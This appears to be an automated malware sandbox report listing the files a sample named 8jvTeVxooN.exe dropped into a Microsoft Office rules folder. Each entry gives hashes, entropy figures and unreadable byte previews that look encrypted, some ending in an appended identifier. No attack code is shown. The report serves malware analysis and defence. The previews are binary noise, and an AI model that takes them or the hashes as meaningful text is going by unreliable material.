Preview:	<Rule.....M`..........F~.;N..o9+I..^..O.......T..9..........\.(.}B.d...\....+.....k.[...k?O]/L..D.K....t.mW.C.a.J.87...ht..<f....5'm%..mv..9L...H.....i.....3......M'.L9...k..2$da..F...\|N.k.o\..B...#...+.s.2..J7.^....JPn....Ut.C.X..+....m/t"D..u.7JH.[L.a.....g...1....A.@..........K#6...>:..lko)q>......\....C..<..g^.....^..:..^..r....C...........)Q`Wjg~F.n.V..yv.HZ....+)....v7x........D.R(...........~..g./S..S..M._.......Z.3m.X.c..ec..mE.dO..Fn..^o.....<.. ...p....F.#..BG..?.d.x._.,......;.Kf.EK3.K..8.`._>.5.i.[sycY.....Z8.l.&..'s..6Q..3L..^HD..l.T....8...^.Y....-..,..>d.IQI.....B....u....h..q..<....IbM..;......tK.S..\|..n.v..118'...2.1+DFB......\|..j.L.....e..-....wk.l@=.T.,.Q.Lop.h.^..yD......pf..A..R.r..A.:.......:f.}\..-....` .BL..%.O_.q8....}......)..+4"+.U..d..aXq...Wv....T&..R-\|Z....." l 7o{.D.2_....Ma.<.Z.{0...7._.;hZf.w..N\'.0.........:...I. H..;F..c6.!5....N6:i..yD.Rm...{V<sS.3#]......G.}8n....f....i@Q...9G..O.....+[....t.......C....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.878936636492871
Encrypted:	false
SSDEEP:	48:2hlw2UlV95d041JFmqbS0mSYahBUTEZ1D2AZi5BdVPYEJmoE1D:Ik9vLHmYejT41qiiFxJmoW
MD5:	B3DCBAB7116F032B5C619291C951EA4E
SHA1:	50DDA88218CC4C63A71B6031C7FFF03D92F61B02
SHA-256:	795F542EB15CF23BAF1DE32ED19D3F08187E070F13A8F5A6EA69B97CF68F24DF
SHA-512:	4A826642DA4905107FC5561C39CC64B7FC029571270A317CB1E6C9B31977256703C987534B5446C63E1180CDEFDFABF1DD65EF8ADB75B1CF300C31E91E4BC348
Malicious:	false
Preview:	<?xml..f..V.N.....&.#.>....7..."..E...)e...0^...\|SU.\| .p..y#...p......@...#.\5...l...K..J.N!.4P0.>..b\|..M..\|y.R-..].. [%Nzj.^,XSG%.8O......XFuNe.....B.$..;.y.c.}u.tL.K.@..<\|.`...M.c.>....U.]..N..4.^7.G._4 x. .,........A...{>8.. .K....&."....5..4.^....Q6fa....eKZ.,=..(..M..ED....0..g.zJ...;tc.O..8i.. ..w_.O].W...y..y..S.'L......_..gt\....6}[A4.;.`.;.D......W....1.._}..............Z...........Oa..J........y.7...%...bH.kp&. 6..d...P..]..>Q.i..49@.q...s.^....~..^6..Zc}....w..o9:.1......UB)..\|.g6...d,....@d.K....2.....^k4e..1.@0..E.GIa.ip..y.r.z4..IA..>#............w.....D].f.[{.r;~.G...........#\`/.Kd8.....B..Y.......>.Sc.....G~.!N<.].0..7^.I.......Q....K.}k...=T..71R.m..^S}5J1^S....$...R......8....N.e{..@).g......q\.[..yJu...j.m..eG.....}0.ifM....Z......9..N~.zy......l./.W....\b=!.._lL.X..X$/....N( ..y.Tl..1f..._..2.+}......,..a..`....}....9r+S.....X.....i....Is..(-K..Y.(.hi..k..Z.&.....$$...........c.I.#F....I....8./....f....]...h>..E...t..p..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.856542671127373
Encrypted:	false
SSDEEP:	24:/rQqWchsfTtthV3CGWN3JwrCtlzQGC/woVN7yDxZ8k7bZ+iYARbyFEY9AObD:s3cGRT9aTwr+lA1VFyDxpZ9Rb7uD
MD5:	7AB7B1EB534AC1015006883989F0AE72
SHA1:	A3949F8CEA95500FC4585FA4E12A14DD326857B5
SHA-256:	752DC63A2B25EA5170CE408B23863CFC4B36FAF4B54F2F9E84EB714B09CB9AB1
SHA-512:	956C8FFF782EFFF8DAB1DEDFD38CAE5E385EE99E0731B867FAB3FF40324A41B49D87262FF4054E03B7D0E6BF344BE8064520702CEE6C565A3AE726B4915F64FA
Malicious:	false
Preview:	<?xml......Dr<..i..........<.R....b.Q..`.H...S...[......t?.W-.. n..<.P1.,.\.O.m.J9..z..n}....].6z.y..<.. ....E.?.Z......4al.G.....YJ.U..o.....(.4.`!>...g.,....s.p..X..:.1=j.w.}..3p.n^t....J.M..O.1...G.!.....6e........".N.-.2.H.CW.v .R.N........m..}...T.s.....?%....L.{.......8Ptf.0..I.O....7..;....G..N.u..od.`-..o.pW.e..;)...)...Q[_..G..O.0.........^%.nR.c.tr..X.<I.....5.-t=.^...V..I.8.]O......_..)k..D.......@.....t7.Z..'sB..W.$.E%.....p.)%..r...F.x......AT..h..t.^-...,OF.....CYq........Oo..Z:...W..+.....3.].......Pw.T..c....1.V.m.9h..t6.:....mRrU..../..i.&~P.w.iO........I.M......H.q.[$.\|..4.....yq......(.VX..%.:.w).\x.?..[6..9...W..I..L..;..R\|SC..d.R.F:%.. ..K`J.Q.....I7....1.........._.Z..j.O,.Q..D..3&.....k....n.%-<BxE..._..".R.....b.....>....\.B.&.....u......}...p...`^..GMh..Kx.!.t..qVh...._..>.b}..D....W..x.v...\].....j...i..0...`.Y...Y....9B.z....Fh.7....E..N__S.x......\...H..X!'...jn.....c.:3l..iD.A....l.zD.RpU.z.[g...w...b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.948239667721788
Encrypted:	false
SSDEEP:	48:8d+UAhZyaQIgXrPbYV89reGtekrA11h0RpSZUh2eDemr1Zl3mmUTQoH6VD:8ZAryb3XrjzntekUnISeh7xZyUa6t
MD5:	8367A9329DBA9DDFD9FC47D21228A31F
SHA1:	0A8C008C3F493FFA6D11684E282B2427500C58B4
SHA-256:	AC3DEC7E996B02C448BEE083FC40605CC1CEC0113337048FE8E708D7DAF070E2
SHA-512:	6E47CCEC1146BA37CB3A32143AEC3C31A26E06990368B9BF13880A23A87C44A94432F65B6DD6FDAE295D07DCA22A8BBCAE20DEE7581361E292D73A0B4BC134D3
Malicious:	false
Preview:	<?xml......d...3.T..0....D.B.S....v.e...n.f........z[Q{......!..... ..Pq...q.....=....`.......:.....2..re.B...s....,.......I.k......!f...E.I..O{.p....Bo.;.....J.;.@h..Lt.@M.\|."....Js....e..:.}....A. P.%f.....] ..u.[jRG.Q"...I....b..Z..i.0i.'.X..^..8..S.......g....^?.../u...}..8.?..!=d.@`?..~..... .x.L.E..f.O.`.d..Rj.r.....8.........^..w.{,..N.............).E..A\|[.q......nA...k..p...M.AM...8.S."p.S..W...V..7Pg.....m..8N.a./.....k..F.E7.....$p....Bm6..(.9.1<_+..~..0..W7..m..M......Z._{.a..`Lr......L..Rakef.[....3.]UwW.S...Y..0..]....B.&...v.......2......P>...z...?4...DI.J.9..(>+..Y.1.$..\|...S...._2.....C.eKt..Q..\|R.4..Y..}NT..].....EYV.......ba]..h.L.+4....Z..6.V..,.u._.......g.....T...\|r.z,L...Z..GDA ..t......g.R...b......L.4K"e;..E.m.C....i..q#%....E....#....M....n......5z......!v..g'y.....4..+..O.D..~.......q..[.....r.OM..+u.]...w...&.FI.......tR.......a..z...a...._.......1........@b.....3..,...a.cG.........h...y.....U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.886105850841641
Encrypted:	false
SSDEEP:	48:f105CAQCxVBT9xe1M/ByG+AfHWwI66d9bD:fi5CqVbx//ByGRfc9X
MD5:	0261CB5490534CD609C8B8D715AEB2E1
SHA1:	06347A98C9C56DD14FA59DCF92ED35C11D5263E9
SHA-256:	6BD0F7AB7AC5F6CAF757C438815BBC24DB02023D665EF786C5F68B08B05ADE75
SHA-512:	D117387D6F359981C83B8560FF09FC3EE42400E8C412B61DA8A12A651DA298C276B581254CA2B937552C5E518ED20B842B22982E59842BD077F5B0B6D697ECEE
Malicious:	false
Preview:	<?xml."!.E..Jh......i<..3}<..^a..J..R.%zW.L...W...:.s.R].g..M..N../..;T......W.]#....r.....(...%dM.....<.[UsM.GR...\|.d....kz:..R.&.e.K."nI.&.H!ZaU......P.Y.s...F.'..Q.....b>....>..k#......&8..HW=p..g&.?.0<X.....F...z&........b.......8..R....".<?...).a.D..\|..R8..8.YV.K".{y.4?.v.....D.L5?..#\|.E.qV.......][.K(..%.xh...@...!...3k.8.i..\..M-.P...e...u..u...Y.,o.7........h&.u\|b2.h....j..i......O..M\5v..z.64...yV.}lI.%.S.<Z..1.ZEy.....Wr..`.N`Y4.'.]...n.\|....Tx....P..08..ly...s....4gt....<..?...7...Pa..{.^..5.Eai`)M=Wxf=.....n& ..9".;....1...9..=p....<.mO\q'.Z....6...\[..V?<....j.T..h.$.^6X.K..../...nT.,N.tg...D.......M..b.0g...i.>y.%.X....R....ud......(....v.i2vL.j...[.K."./...6.]...5...rT..@f\|..o1....}.....?.k.._,...X.Q..6w.....$".i...S.s...5.7\........{...v..4......sf.....y.&.+.......2T.u_.^.>.:..`...}.-#{#.mf*...........e.8p-U...9.....A...C..%.i"=V.+.<.....0S.!....r.".d.Z.I..:'...jD,.8.......Q..Q..HV....ES2oeQ...i..=2Za..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.906706472102356
Encrypted:	false
SSDEEP:	48:y7fP4+/vFlbb3+rYwcAwHB8H/qWHUEZCHph75cPD:yzggvOrjGBoS+DZCbVcb
MD5:	12BB64ED2702D1DE93A792DC95A8D51A
SHA1:	0E39C404C91A9B473897AE5634B79772095792AE
SHA-256:	4A0772A877387F9BCD4D05F1D627729F888E650D06493E1F4E18F71C5656265B
SHA-512:	70C2935CB5CD771E497028D323496A7E0D3463DBE6A8FAD5F564B0471DA5E69389DE99DB9D65F9163B8AB62ED3FA22780D73F3D72CFCD039E660CB9162EE0B2E
Malicious:	false
Preview:	<?xml.}<o...V..%.."..4......{+8.[m.\|..w......!..q.c.`VwE@2....CtLvw\.~j..P...+.......Xg...&.......Xu....e%*z. E.._..._{.y...c.....9.Z..{...... .Y....\|..B^.K^7.I...y8v.mA8.(.#K..Y...i...V...x.'.._......{$......0...}F...............y.M'..r.0.e.[..8..._B..yR.-./....r..a-.Ef.K4..m.P...[...V%..Z.+...[v...;.j\|.......C.n~<.U_)..9..+..i..q....SE.....6.C.9.e.f%.9.+.op[.m....3..0.1.<&.Q.._....FE+v.)J....N.Yq.L..{8=4..j%\|bf.....#..2.}..r#J......c.J.Q.eO..QD..]2.....w.t.(..E.....:.........G5.\|.j.cPi.=)....}...d..H....eh....!..z....AG.%....w2i...uar4.~{.c1."e...5L.r.kK.4Z..?....?...={.....x./o.W~Q$..[.....t..},....8...i"..?.w.w......F;M....bx..kK.l.X.fx-k...3@... ..W(m...L).Zg$.....V.j..0.<...@.X.........=.(..)^.t1N....u...e..B...........A.L9[.1..3.YU......U.j.XD...1BYR...".5c..VO..c.....7&....C.U.}.....P..Cx.,.>.5=.[........."..R>l%.sgwH.('......-......m.;.OU.1... .LT.m...:.......!YFVuDK...=u17..5@.:.F.C...W..rG..h..Nuu......\pR..=Cp.O8.I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.71843692292393
Encrypted:	false
SSDEEP:	24:/+Iz9R87iAmssWAs5+GhZbWW5jM2y/ObD:/zAtpAs5lbvS2ykD
MD5:	D83027C0F47755B897E0993C85733A51
SHA1:	C8D928B72E24D290DBEA77D4307FB640BF5ADC99
SHA-256:	28B14579BED198977B9E994B42B650DF4A0316528ABFE98BA8AA6E98A4451D86
SHA-512:	EEFB4FE4F50EE014D5C6469CAEB2767D31ECAB688F751FD42CB3C978C8DF36FBF93BA712EC7D0391B2C47257F7FC2A53CB4699F1817EADDAC70C22903CF341F4
Malicious:	false
Preview:	<?xml...x..+.....=..B.K./.%.J.....i&.J>..9....VL.,t......C...f..O.!t.5<f.8..%V.R.../\|.^.v-....TDw$.E.5W..../..6k.#....+...9fC....!.e...'N.Z..0.y.(....>..5.. j.4.I7.....S.X~JV.w.f..<..A....t7.-m...c:.hx3.f..8.l.?. .........+.........I.s.o...b.e..l...u0...IDyC...p..Xu.c.$../.X.J..9O.<..SQ.F.....l..I.4..,....,.0.....Z.....;.f...%.......Dx..r.~.u..e.~..-..>>.Q...=...N.;]#C....Nhdr.....V.S.y.=..nZj!)S.q ....6..CbcT..H..,St.'o..w..y..........=w.....t..F..".h`.`%j........%...:...{ $...,g.2h.5.T...R..OVI<..V .MSK(......u.[.G..;.r.'b..C......\|w..]..A...m.H$.Hv$.os....iM.1.G..~../B.....2.T).X\.....5.f..oB0....f.7...&.2...{.?+,.D..z.M.d....t...."....3.ii..m.h.F4@.{W......).z..Q...i.P..J.......TZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.916661022826473
Encrypted:	false
SSDEEP:	48:SodrJjvVWTyWQCxgqR8KkzT0GcGqWA5r42k6D:Si7V85QCxg5z4GcGqxMzS
MD5:	2294B7188AC98959855BBE33F7C46F71
SHA1:	95641AC26665A00C2862F16DED0806714B514289
SHA-256:	893E98234ED416FE663E31F177E26685B8EC1EF57A265D78E64E99AE189FF65C
SHA-512:	7167998C4D910D32F2B718A613FC33A1C8319D5DACB3F5DF869426C1274EB3F499AE2C78FF210C701802BAA9318DF31E02FAA27E415457926FC18AF7DA57E24E
Malicious:	false
Preview:	<?xml.w...Er...n`..:.D..xF.p.[&.pi.t".....".....g.D.bS.v.V..R...L.yN....P-._....z.....&.:....a.a.i.#."..F..L.....1...L.....q9.D......:..iJ^o5.5..........-...IN.G.2..(..e..=.J....y......Lv.t.....c./.}q.RM"#.-.<.4U....L.k.qm.....B.M.z...X..8..DpW....0xr.i.l...J..T..E.:Y..}V}3t........;...A....b.J=......7\|.B.....b.....li..`.4.z.e..x.....;.=.t.hFd...SO.."2..{b(......R\..}(.f..#.[....@.Jlr...Y.1...]..&.e3`o.P)....ISi~...+h.N]RX@.b..W.@.......}.....)..x..avy....A"...Qn}...vC.H;>x......]Z"@..A.....\I$..........D_.x $Z..D>.^..8../Dv.......*8..[.x.z..........g.v...J..1...:.kH..+..._.pfA.F...?.u...O...%P..kq.....M.......,..s.Y..D..?`...7R....k.y<aP{.. .....E.N&.5.7^.-...._rS.=.l..O...@.k..;V%... k.d....>..k......]..O....W.pB.(.K.+....9..Nr.?..&...a9.r..o7A.....&R. ..ES..0,..3.......Y...mu...J.N...Wg4.P.i.o......#....].z.....1...;{.2....@..@..nz.l1.}.../.n.mu M.."......lrdz:x..Q..e7W......E.c.....~.._.u...+/..{{7s'..).-....I..Y..\|[T.~P.a@.....'..!.9Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.737438682125227
Encrypted:	false
SSDEEP:	12:0ja4+X5QBgtg0bNxxD+GI/BJgwD0BbxSnMMqRB7OVM9N4ovwEvRO0f+l7LuOciik:yEXOYbxaGfFBVSMMqRBKVMP4evaVaObD
MD5:	B951FCE975294371C0300A33719BFF4D
SHA1:	80B58D6BF4B665F9575C6C6801B73281F86A63FA
SHA-256:	90C7DA0C2C8DE2C308647DE5C981171E6E86ECA777DFBF6170F24C6B5DCC1C55
SHA-512:	7F7EB45EE90CA3C06E870440F9A97446222A5A23C2AD7ACC8DCCEB2CA3F0FD022E4FAD6830B12944262FEA9A0F0494525D864A40D750BAE9399E8A9BE094B9E6
Malicious:	false
Preview:	<?xmlI..v..0V..e..%..O..&...E..M....u.O.K..!AE7..x..}M.hw...Z\|O...k..n...o~.....%...J.gd!!\....=..f..\|X...s.lo..:...qEr..Ajan..-CZ.....,..>.t.@o....3.;......$..r......k.F4.....9..I.._...?.p..lL....G..fz...l.&F.f...eQ...;.33\V.S.M"L.z..X...(............!..~....i..Cq7....2 =<.:Cfl.yul.+.......O\.....A...B.....Pc.e.:.../$..PB..}h&.a.v.s..{@...@?qk9C...d.....).?.....5...CJ2..q....l.&9.\|.7R...)..e....f....D.<O.^g."i&.".q.+.8...7ln-\..S.'.....\|.4..^..U...p...l..y..u....'.....1x;...q,....=.......maPuT/MmZpJ\r..M.W:..d..+.n+L...H.......?r.zK=.k.....PJH...."`#\|n....(F{.#r...y5...{.-s..1.K9.<ozF.nZ.A......9.B]..............D.......\@8.BG\|.cL....`....\|^.;.....D...#Z.wsZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9336968505201915
Encrypted:	false
SSDEEP:	48:9NciANZuA6Z0i5/FHtyDl8wC5O+hpUiXqhpwljdD:9TAbuxjNyR8wCFkiXGol
MD5:	57A5E6DBB61029E0EFDE64EB07C00FDD
SHA1:	14039C54AAA049C4BC2D6CBFBF3CE3AF01BDBCF2
SHA-256:	9C32EC1FB98BD71FDC6E9B7323ADC8E04894574436FD3E9F4709682ADE0F2B52
SHA-512:	EA81F97D85FC53045C53C83D8D233C853B45D008606BDE2B147884B7593B214B1BD37D4DAD214AFB92EB7BEFD3B465C17C0DEF693133860FE38BDCC9F055BEF3
Malicious:	false
Preview:	<?xmlOa\.C.w.gjr..($}m..W.. ..2.-g......c.V9.......T...{Z".W.8..f`.......[$c....v...T.._m.......u..8i..y...f..1..2..U.d.z.D../\|...(.i..&.M...mk.r.<..Y..H...gf..^._...v.7n.o.v...H...H..z..y.YO...Q......w._l..jk...f.J.m....:...Z[2X.v#.G.......!..&..&x.58....1......q...6-....)2.x...@.7..s^I'..Qi.2.W...t..jA?.X^...Bv."Kl&"..3......[...0CG..8..P...j[&7.4..qW..m....N..P.3..........t.w..\|../E.....y%..J..35..U.e...I..:.a.Yg.N.O....ZE.v.....2."\).K~.].U...w..\n..O.p...D.0.H...>..&.}..I$0oW!.9..\|...d........4.....,.V..kkK..^=....DF....M.@..N.:=c..a....h.])...1.....................U.@..v..).!&.F../.....39.Y.........2(\|.zZ....-"...&SQR.]g..c....2f.c.;~.\....F....:...z..b}..R...1...Ika.E...@.A.P... ..d..7)+~<...<..+..b`.M....;..c..g.I...%W.3..... 6.....~..^.=..:.9#..Hn.....=..U.....M.-..y.z......0.}y.:.7.....R......G....>3....:.iE.;=.'.oi.h...z.H.......t..H.4.#8....9M.d8...Z....k.......k...(..-{..;..P....@..n"......Sy..`.rOr)...mH.J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.938049129741561
Encrypted:	false
SSDEEP:	48:vb93lXVkHMI1DIUlxi3T9k5FoM6wCyJe6I9mB8McfnBJXev7T7tiB50zq3tD:V5VksUDts9OFoM6wj46I9lVPBYT7gB5P
MD5:	824AFF96B6DA49C7FE4BF26EE2A8DF01
SHA1:	01646DBCAA6000F6C50EF7DE944B1987847F78E1
SHA-256:	B9D8A13CE9F3D23C1A74F8FBE68E0D424CB8E29F21B5B22C48CC4E8B537CBC57
SHA-512:	84C1169469C66AC533ECD2CD97C6FC926503635305DC845CD3161D48443D3F22D1BD7E8F1311AB67088838B407A7F710172900DBE3E1F737464120613B52B035
Malicious:	false
Preview:	<?xml..GE.....i..CSW...x.0.k...!..r.......{...;.{.t.#QC.7..w..g<'6...34..Q..5kU!c`&...\.......Ia..TP...~,\<.j5.p..f..............\.TH...\|+.#.....!p..'.R.x..P....(.8....z6]..g..g0E...\|....Qg..K)2..._...........g...y..S..K#....1S"......g....@.?.W............?0.../.#~..5...V..~..S...I..2.D....L.0.@....D..@...m....i..A......p...O..z....-.....b..e. $.F..s.7.>..:.o..9...(.:......1.)....bd.z..Grs.s.0L......Hqt......Q.6..ZB...p....a...$hi:f...1fx..@.:z`...pC8s@....S...)..,.S..r.3@...Db.Q..0)^Lj;.mZ...gP.N.k...6............}...;.(....b.L.+W...r...A...-..=.[.pGZ4)Mxe..#.Rf.<\.....R...A.]..s3.....UTU.%0".5..d.Pl..J......B..Sf "..>.9.7H.Z....=g5}.i...S.}.z....:.......F...@..GV Z..6..7\.1.%.\|.R.A.W.G%...'Y~y.K..SY_5)..-.@..Lg/z.Q.u.2.l.x..Z...&..pB.......G.@+w.z2*@AbnHf...l.F...g...1..1..XQ?..Y.L..S...T.Ml..p..?.U....>.{.!.W.E..5...._...B....q......,{i....o.......(>.p......^.?/...i]........P.w.c"m?....."d...Nt......]m........_.f.4z.wH....=...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.9612644122434455
Encrypted:	false
SSDEEP:	96:/cLL3fJ7ZjDciuwS+RuzJB6WlfhpiRAl1s+AW/W7Q/tugVibbnr:/cLbfJ7l67JB6pU/cgVibLr
MD5:	8B28549047F15656FA30783B5869F4A3
SHA1:	B851739C77F17C43E021203D492F07FE0127F23A
SHA-256:	97C7A1CE10A4D2BD82EB70B013D0B076D1AB7628C79C968F74A98304DD533C38
SHA-512:	A603F795CEED87580DE2EAE7592A034E0493CE38AB4D8021436B3E70F8F18F584C3379081F43FF1C6018EE53FD8963A33B194D1AFEEAA0626E183611FA48DFDF
Malicious:	false
Preview:	<?xmlRK.c.D.'b_EhtO..ke._..j....).pm...s...`.h8-.....p.r...f..%:h..~.Q..e.z._.j.....,.fO.!>.QH..?.........<"h...........?.woT..>Ke....,#5TR.D......YM....&...D...'B..2 ....LH@..Vc........p.t.~.....?#.....z....q...v.......2.`....MK..`.,/L....z.W..4:.q..}.T.?.r.U...........2Z9IY5.9{T.;.x.....VWy...Y.....Z.c.q_.....Z..+.y^.Rb.....D<c.h2.)A.....0...1....7..H4.....U.<..#..9....b../P.i...De2!..s.8..P...>...B;..8.....N.6.+.;@.u{+.'V...U...M.OQd`J.=..}.Y.wYg.....h'.V.u.y1(.....%..HZ.d..s...!. ......<.a{....r....,..m.%.&.Eu..P..r-.b..~`g;.^.w........q..6..i.3..?Q....<A..kh...$....#/sW......p..9E.X[..e.3..%.A.............K.....h..)...[.@......m5.T..0.0.n.?\.6..7ry...e.."y.....<.....bQ.....>.y.=V......F./..I.1.2..v.y..K...O...^..<.h..5<.n......D.}.t..SD.........r.RP....D....r....vU.cP..n0$....B.....$@......F.}A..I.+R...S#o..."..1.:.Q...+...9....$H.>h"..w...a...\|..Q.o..b.$1....N.....E`J...k.V..`@...;..f.P..2+%gd7..}.'\|....(+.......N....v...2...x.e......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.836071128902254
Encrypted:	false
SSDEEP:	24:eoG5QkkJbEKFTSTiJgpUq9J9xFQ4+CfWDmLZK0+y/LoAE2bx2icwznYTdv1ObD:5GmknUTCiJgRDxdfzdf+IG2c8nYMD
MD5:	6BFB45FD6483A546DFD15405DE55300D
SHA1:	DD4E43EB5C6D1A18A525BFDF11179C36CFA5AF3A
SHA-256:	CA1E51A67D63FD984F058647431B937549537AA06D4784F721D9CB06B59C7676
SHA-512:	E5E107973DF05E8610E389B87D6C14F1DC164099782682F4282090B9019F29BF2771B6235B3BA11E7C8D7B6D80D0F3D940F10335A4939AFD8CBACCC2A78F0837
Malicious:	false
Preview:	<?xml.[.g..E.QT9......l=H.$.`;.K...gN...R.9.r....6..R.hK3...N..^..@\|`~...H..X3P\C.!.5f.v:..G.....[...W.f...\.1............7&.../.7.^......).f...Z[..&h ..va<.5I.lg.cl#.3.gB....D....w...5[@. .p..]...w................3.>.\|v....P.3xNn.....4z.B.S8.n.......d.g&..a.Z...d.?/.t..N...<.{.+.......AG..Q@.3.../p-.9.+v.....Re._......MQ..!....t.3yA`xk.\|.}.o.J'.....z".w..U.....H.F>.(ffv.B~UQ...r_.4.3.;....._....ZQzA0es......WM..l.=?..;...cS...>}k..<.)....r......Sv.d.ifn:<L(...~.8`I....5<8.....j..j.X.N5..z..........)..m.....>o..,.\.s.v......m.c..s[h...9\|c..'.......g..X..(IJ.t1-9.O.r}<.~........s..G!]...%..ec.l.....(s.Ts.....Y.(..).....9&..k.....Dvv[....9+..1...Z....).....x..e.OF.'...U>;.SZ#.s~......n..k...+.r..s.F..q.H.nu.._....x9..g.....4).z....%....%(.mv..... B..2..Fy...q.......RuX......7."..[#O..w9].ET........4-.. .............W.Jm..b..-...l.F.u...vkD..{........29..r...."g..C5.I..a..+N.`..[p`...1f....2H$'d+.A....n5. .......%...%....%....)....N.J.<)~.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.851814784650889
Encrypted:	false
SSDEEP:	24:HvTBweWS2QQvGgvGq7phkcdRgW/daAbJgal0Kq5Xx8ryKZyiQPXVOYjAmhsRlhQI:Cg25veqQvW/d/uKq56riTXwYjAmIDD
MD5:	715C1E87F097CF3C5B7CA9631FD961BE
SHA1:	EE11E22886A20F2DFE093BB320AAEC3A43E5CCD6
SHA-256:	A8DA23630CC63F0EA98431C468C7F581E276E00E3F5CED726AD96E88F9E2FA53
SHA-512:	E2E6A8A5E7389AE981EDB85A96050E0F5A824AE6472F691CC1D99E6AAECF1EC2DE7E3EDECCCE280D4BD0BFD19D397B49C0FF4AF7F7A4E60B14B57F56C7D6F18E
Malicious:	false
Preview:	<?xml.......]. p.$.6d..T...dN......%.X....4.a\|.y..<.${\$H.<.5.s....&..v.....N.B.n.am..hm....z[.....4.[W.V.;...M.e...Ui..l....AnX...-....`..U...Z@.~.7d6.o.L,....pv....N..&...ap-E...R..Gi...4NM=M.`..y....+c..Z.E....l.=;.g......a..kA....?...!\...$.....3i..t.L...z.>....]fO.p.e..... .Am5.<Q.....Q.\{E.7K.1?....I...\|...........#......tm.r~.......Y...0.n.M d..Yy.+...J.r;...l.P Y.......z..?y..`C.6..e...s...&...0...L...<...a.Q.~.%m..&E...:.:..<P....7.U..-........%.y...{..`......GH.<...w0%..Q..AK...?.<.._..L.!.^.q..%.T....._...X].@s......z.>/.!.......t..k..%...f .......Z..j9..y.T.MV..S.V.V.6=.\|.%q......}...So...E..O.j$.=.....C...O.o..Y.../..>.x.p.4..^a..}.....zfS..h.B$D.Fi..O...#..O../S...\|..'.JK..qT....I`.Y.8.v..6.D..%J\~..s%%.....@.].lM....N..s..[.V.I..4.P....(.1.S/@/J.9C%.e...R.7.............z.t...XA.......@-...P..v.......i\.(..?...../...W.a....?..r....\b+.B...8C..f...i./+.j.3.]....Tc].......a[ . .x..u...}.'.A.N....N......[...cA..s.~f.<.8.>...#+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.7942819704549615
Encrypted:	false
SSDEEP:	24:2N9PWe2b0fQGGvwtktZMbROC1NFDZdvnoh2gaTveDmkmQjsjObD:AVfRTtkCRH1XZ1oMgaTGTnD
MD5:	AA6AF2BAAAD24A3A8300CBD160CC3473
SHA1:	992884DAE2DB4137DFB5FC7D128DEA751DC00DB8
SHA-256:	BFCD316CDF6C17497AE9B2B7DF1D21DEEA20A239852B0F3681C6150C3CE9B901
SHA-512:	EDDE48222DBD39C96ACCD45632899C9AA61C40639C9494EBDA078EF723D6AFF084EC7BFAC345BD029665DF51203CBDC6F3F920D61669206DA55FDC1D53738D9F
Malicious:	false
